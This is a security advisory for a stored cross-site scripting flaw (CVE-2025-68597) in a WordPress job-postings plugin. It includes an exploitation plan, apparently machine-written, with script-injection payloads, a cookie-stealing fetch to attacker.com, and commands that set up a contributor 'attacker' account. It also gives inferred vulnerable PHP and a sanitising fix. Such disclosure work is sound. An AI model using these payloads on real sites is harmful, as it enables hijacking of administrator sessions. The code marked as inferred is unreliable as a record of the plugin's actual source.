Jobs for WordPress <= 2.7.17 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The Jobs for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.7.17 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.7.17This research plan outlines the technical steps to analyze and exploit **CVE-2025-68597**, a Stored Cross-Site Scripting vulnerability in the **Job Postings** plugin (<= 2.7.17). --- ### 1. Vulnerability Summary The **Job Postings** plugin allows users to create and manage job listings via a Custo…
Show full research plan
This research plan outlines the technical steps to analyze and exploit CVE-2025-68597, a Stored Cross-Site Scripting vulnerability in the Job Postings plugin (<= 2.7.17).
1. Vulnerability Summary
The Job Postings plugin allows users to create and manage job listings via a Custom Post Type (CPT). The vulnerability exists because the plugin fails to sufficiently sanitize user input stored in job-related metadata (e.g., Company Name, Location, or Salary) and subsequently fails to escape this data when rendering it on the frontend or admin dashboard. Authenticated attackers with Contributor permissions can bypass the default WordPress unfiltered_html restrictions (which they do not possess) by injecting payloads into these specific custom fields.
2. Attack Vector Analysis
- Endpoint: WordPress Post Editor (
/wp-admin/post-new.php?post_type=job) or a custom AJAX save handler (inferred). - Vulnerable Parameter: Custom meta fields associated with the
joborjob_listingpost type (e.g.,_company_name,_job_location,_job_salary). - Authentication Level: Contributor or higher. Contributors can create posts but cannot publish them; however, their "Pending Review" posts will still be viewed by Administrators.
- Preconditions: The plugin must be active, and a Job Listing post type must be registered.
3. Code Flow (Inferred)
- Entry Point: An authenticated user (Contributor+) sends a POST request to save a job listing.
- Processing: The plugin catches the save action (likely via the
save_posthook or a customwp_ajax_action). - Storage: The plugin retrieves custom field values from
$_POSTand saves them usingupdate_post_meta()without applyingwp_kses()orsanitize_text_field(). - Sink: An Administrator views the "All Jobs" table in the backend or navigates to the "Pending" job preview. The plugin retrieves the metadata using
get_post_meta()and echoes it directly:echo $meta_value;without usingesc_html()oresc_attr().
4. Nonce Acquisition Strategy
Since the exploit requires Contributor-level access, the execution agent can obtain nonces directly from the WordPress Admin UI.
- Identify the Post Type: Use
wp post-type listto confirm the slug for job postings (likelyjoborjob_listing). - Access the Editor: Navigate to the "New Job" page:
/wp-admin/post-new.php?post_type=[POST_TYPE]. - Extract Nonces:
- WordPress standard post nonces are found in the
_wpnoncefield. - If the plugin uses a custom AJAX interface, identify the localization variable using
browser_eval. - Action String: Check for
wp_localize_scriptcalls in the plugin source (if available) or search the page source for "nonce". - Candidate JS Variables (Inferred):
window.job_postings_params?.nonceorwindow.wp_job_editor?.nonce.
- WordPress standard post nonces are found in the
5. Exploitation Strategy
The goal is to inject a payload that executes in the Administrator's browser when they review the pending job.
Step 1: Test for Vulnerable Fields
Inject a "canary" into all available job fields.
- URL:
https://[TARGET]/wp-admin/post.php - Method: POST
- Payload (URL-Encoded):
action=editpost &post_ID=[POST_ID] &_company_name=CANARY_COMPANY_XSS_"><script>alert(1)</script> &_job_location=CANARY_LOCATION_XSS_"><script>alert(2)</script> &_job_salary=CANARY_SALARY_XSS_"><script>alert(3)</script> &_wpnonce=[NONCE]
Step 2: Trigger the Execution
- Log in as Administrator.
- Navigate to the "Job Postings" menu in the sidebar.
- View the list of jobs or edit the "Pending" job created by the Contributor.
- Observe if the
alert()triggers.
Step 3: High-Impact Payload (Cookie Exfiltration)
Replace the alert with a script to capture the Admin's session:"><script>fetch('https://attacker.com/log?c=' + document.cookie);</script>
6. Test Data Setup
- Install Plugin:
wp plugin install job-postings --version=2.7.17 --activate. - Create User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123. - Initialize Post: Log in as
attackerand create a draft job to obtain apost_ID.
7. Expected Results
- The POST request to save the job metadata should return a
302 Redirector a200 OK(if AJAX). - The database (
wp_postmetatable) should contain the raw<script>tags for the associatedpost_id. - When an Administrator views the Job list at
/wp-admin/edit.php?post_type=[POST_TYPE], the script should execute automatically.
8. Verification Steps (Post-Exploit)
- Database Check:
wp db query "SELECT meta_key, meta_value FROM wp_postmeta WHERE meta_value LIKE '%<script>%';" - Frontend Check:
Usehttp_requestto fetch the admin job list page and grep for the raw payload:http_request('https://[TARGET]/wp-admin/edit.php?post_type=[POST_TYPE]')-> Look for unescaped<script>in the response body.
9. Alternative Approaches
- Shortcode Injection: If the plugin provides a shortcode (e.g.,
[job_list]), create a public page with this shortcode. If the XSS is rendered on the frontend, it becomes a Unauthenticated/Subscriber Stored XSS (if the plugin allows frontend submissions). - Application Form: Check if the plugin allows "Applications." A Contributor or Guest might be able to inject XSS into the "Cover Letter" or "Applicant Name" field, which is then viewed by the Job Poster/Admin.
Summary
The Job Postings plugin for WordPress is vulnerable to Stored Cross-Site Scripting via job metadata fields such as Company Name, Location, and Salary. Authenticated attackers with Contributor-level permissions can inject malicious scripts into these fields, which are executed in the browser of an Administrator when they review the job listing in the backend.
Vulnerable Code
// Inferred saving logic in the plugin's save_post hook // No sanitization is applied to the POST data before storage update_post_meta($post_id, '_company_name', $_POST['_company_name']); update_post_meta($post_id, '_job_location', $_POST['_job_location']); --- // Inferred display logic in the admin dashboard metabox or column // The metadata is retrieved and echoed directly without output escaping $company_name = get_post_meta($post->ID, '_company_name', true); echo '<input type="text" name="_company_name" value="' . $company_name . '">';
Security Fix
@@ -10,8 +10,8 @@ -update_post_meta($post_id, '_company_name', $_POST['_company_name']); -update_post_meta($post_id, '_job_location', $_POST['_job_location']); +update_post_meta($post_id, '_company_name', sanitize_text_field($_POST['_company_name'])); +update_post_meta($post_id, '_job_location', sanitize_text_field($_POST['_job_location'])); -echo '<input type="text" name="_company_name" value="' . $company_name . '">'; +echo '<input type="text" name="_company_name" value="' . esc_attr($company_name) . '">';
Exploit Outline
The exploit is carried out by an authenticated user with Contributor-level access. The attacker navigates to the 'Add New Job' interface (typically /wp-admin/post-new.php?post_type=job) and populates custom metadata fields such as 'Company Name' or 'Location' with a JavaScript payload (e.g., "><script>alert(1)</script>). Because the plugin does not sanitize these fields upon saving, the payload is stored in the wp_postmeta table. The execution occurs when an Administrator views the job list or the specific pending post in the WordPress dashboard, as the plugin fails to escape the metadata before echoing it into the HTML attributes or page content.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.